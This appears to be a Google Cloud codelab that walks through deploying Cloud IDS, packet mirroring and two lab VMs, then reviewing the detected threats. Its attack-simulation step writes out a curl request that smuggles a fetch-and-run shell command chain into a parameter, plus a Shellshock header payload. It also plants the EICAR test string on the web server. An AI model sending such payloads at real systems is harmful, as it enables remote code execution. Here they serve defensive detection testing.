Cloud IDS

1. Introduction

In this lab, you deploy Cloud IDS, a next-generation advanced intrusion detection service that provides threat detection for intrusions, malware, spyware and command-and-control attacks. You will simulate multiple attacks and view the threat details in the Cloud Console.

What you'll learn

  • How to create a Cloud IDS endpoint
  • How to create 2 virtual machines with gcloud commands
  • How to create a packet mirroring policy
  • How to simulate attack traffic from a virtual machine
  • How to view threat details in Cloud Console and Cloud Logging

What you'll need

  • Knowledge of basic linux commands

2. Cloud IDS use cases

Cloud IDS provides a Google Cloud native Next-Gen Intrusion Detection Service (IDS) for customers to meet their advanced threat detection and compliance requirements such as PCI 11.4. The service is powered by Palo Alto Networks threat protection technologies to provide advanced intrusion detection. Combining Google Cloud's world-class infrastructure with world-class security from Palo Alto Networks, provides customers with an unmatched combination of a fully managed, high performance and highest security efficacy advanced threat detection service.

As customers migrate to the cloud, security is top of mind for them. They want to have the similar security controls they have on-prem, such as Intrusion detection service (IDS) in the cloud. They strongly prefer to use a cloud native managed IDS solution for ease of deployment, high performance and optimized costs compared to deploying a 3rd party security solution and managing the infrastructure or bringing their own signatures. Google Cloud IDS provides an end-to-end and auto-scaling managed IDS service enabling customers to spend their time analyzing and mitigating threats and frees up their time and resources for managing the infrastructure or threat signatures.

Cloud IDS is deployed out of band and can detect and alert on threats, but it cannot block threats. It leverages Google Cloud Packet Mirroring to make a copy of network traffic that gets analyzed using the Palo Alto Network threat detection engine.

3. Codelab topology


Figure 1. High level architectural overview of Cloud IDS deployment for this lab.

4. Setup and Requirements

Self-paced environment setup

  1. Sign-in to the Google Cloud Console and create a new project or reuse an existing one. If you don't already have a Gmail or Google Workspace account, you must create one.




  • The Project name is the display name for this project's participants. It is a character string not used by Google APIs, and you can update it at any time.
  • The Project ID must be unique across all Google Cloud projects and is immutable (cannot be changed after it has been set). The Cloud Console auto-generates a unique string; usually you don't care what it is. In most codelabs, you'll need to reference the Project ID (and it is typically identified as PROJECT_ID), so if you don't like it, generate another random one, or, you can try your own and see if it's available. Then it's "frozen" after the project is created.
  • There is a third value, a Project Number which some APIs use. Learn more about all three of these values in the documentation.
  1. Next, you'll need to enable billing in the Cloud Console in order to use Cloud resources/APIs. Running through this codelab shouldn't cost much, if anything at all. To shut down resources so you don't incur billing beyond this tutorial, follow any "clean-up" instructions found at the end of the codelab. New users of Google Cloud are eligible for the $300 USD Free Trial program.

Start Cloud Shell

While Google Cloud can be operated remotely from your laptop, in this codelab you will be using Google Cloud Shell, a command line environment running in the Cloud.

From the GCP Console click the Cloud Shell icon on the top right toolbar:


It should only take a few moments to provision and connect to the environment. When it is finished, you should see something like this:


This virtual machine is loaded with all the development tools you'll need. It offers a persistent 5GB home directory, and runs on Google Cloud, greatly enhancing network performance and authentication. All of your work in this lab can be done with simply a browser.

5. Before you begin

Enable APIs

Inside Cloud Shell, make sure that your project id is set up

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

Enable all necessary services

gcloud services enable
gcloud services enable
gcloud services enable

6. Create VPC network

VPC Network

From Cloud Shell

gcloud compute networks create cloud-ids \


From Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range= \
--network=cloud-ids \

Private Service Access

From Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses= \
--prefix-length=24 \
--description="Cloud IDS Range" \

Private Service Connection

From Cloud Shell

gcloud services vpc-peerings connect \ \
--ranges=cloud-ids-ips \
--network=cloud-ids \

Firewall Rules

To allow IAP to connect to your VM instances, create a firewall rule that:

  • Applies to all VM instances that you want to be accessible by using IAP.
  • Allows ingress traffic from the IP range This range contains all IP addresses that IAP uses for TCP forwarding.

From Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \

To allow standard HTTP port (TCP 80) and ICMP protocol to the server:

  • Applies to resources with network tag "server"
  • Allows ingress from all sources

From Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges= \

Create Cloud NAT instance

Cloud Router

From Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \

Cloud NAT

From Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \

7. Create Cloud IDS endpoint

In this section, you create a Cloud IDS Endpoint in us-east1, with a severity set to informational. The creation of the IDS endpoint takes approximately 20 minutes.

IDS Endpoint

From Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \

Verify Cloud IDS endpoint is initiated

gcloud ids endpoints list --project=$PROJECT_ID

Output -

ID: cloud-ids-east1
LOCATION: us-east1-b
NETWORK: cloud-ids

8. Create 2 Virtual Machines

In this section, you create 2 virtual machines. The first will be your web server which is mirroring to Cloud IDS. The second virtual machine will be your attack traffic source.

Virtual Machine 1 (Server)

From Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip= \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \

Virtual Machine 2 (Client)

From Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip= \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \

9. Preparing Server

In this task, you will validate your server and provide a benign malware payload for your client.

SSH into the VM through Cloud Shell

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

Confirm web service is running

sudo systemctl status nginx

Output - verify active and running

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

Change directory to web service

cd /var/www/html/

Create a benign malware file on the webserver

sudo touch eicar.file

Paste in the contents

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

Return to CloudShell


Create a Cloud IDS packet mirroring policy

Identify the IDS Endpoint Forwarding Rule and confirm the IDS Endpoint state is "READY".

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

Example Output - Copy the value from "endpointForwardingRule"

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

Save the IDS Endpoint Forwarding Rule to a variable.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")

Packet Mirroring Policy

From Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \

Verify packet mirroring policy is created

From Cloud Shell

gcloud compute packet-mirrorings list


user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. Simulate attack traffic

SSH into the attacker virtual machine (Client)

From Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

Run the following curl requests to simulate malicious traffic.

curl "';cd /tmp;wget;sh evil;rm evil"
curl -H 'User-Agent: () { :; };'

Exit the VM to return to CloudShell


11. Review threats detected by Cloud IDS

Navigate to the Cloud IDS Dashboard

Navigation Menu > Network Security > Cloud IDS


Navigate to the Threats tab.


As you can see, the Cloud IDS captured various attack traffic profiles and provided the details on each threat. You may need to click the "Refresh" button if you do not see any threats. We'll now dive a little deeper and view threat details.

Locate the "Bash Remote Code Execution Vulnerability" threat and click on the three dots on the right and select "View threat details"



Now we'll view the details of this incident in Cloud Logging. Head back to the Threats page by clicking the left pointing arrow .

Click on the three dots on the right and select "View threat logs"



The same details are provided to Cloud Logging. This enables you to send the logs to Cloud Storage, Chronicle, or any SIEM/SOAR. You can also create custom workflows to take remediation action based on alerts e.g. creating a cloud function that triggers on an alert and create/update a firewall rule to block the IP address, or create/update a Cloud Armor policy.

12. Cleanup steps

Exit from VM instance (all tabs)


From a single Cloud Shell terminal delete lab components

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. Congratulations!

Congratulations for completing the codelab.

What we've covered

  • Cloud IDS use cases
  • Network requirements
  • Supported APIs
  • Created a Cloud IDS endpoint
  • Deployed 2 VMs
  • Generated some "attack" traffic from the client
  • Verified threats were detected by IDS
  • Review threat details and logs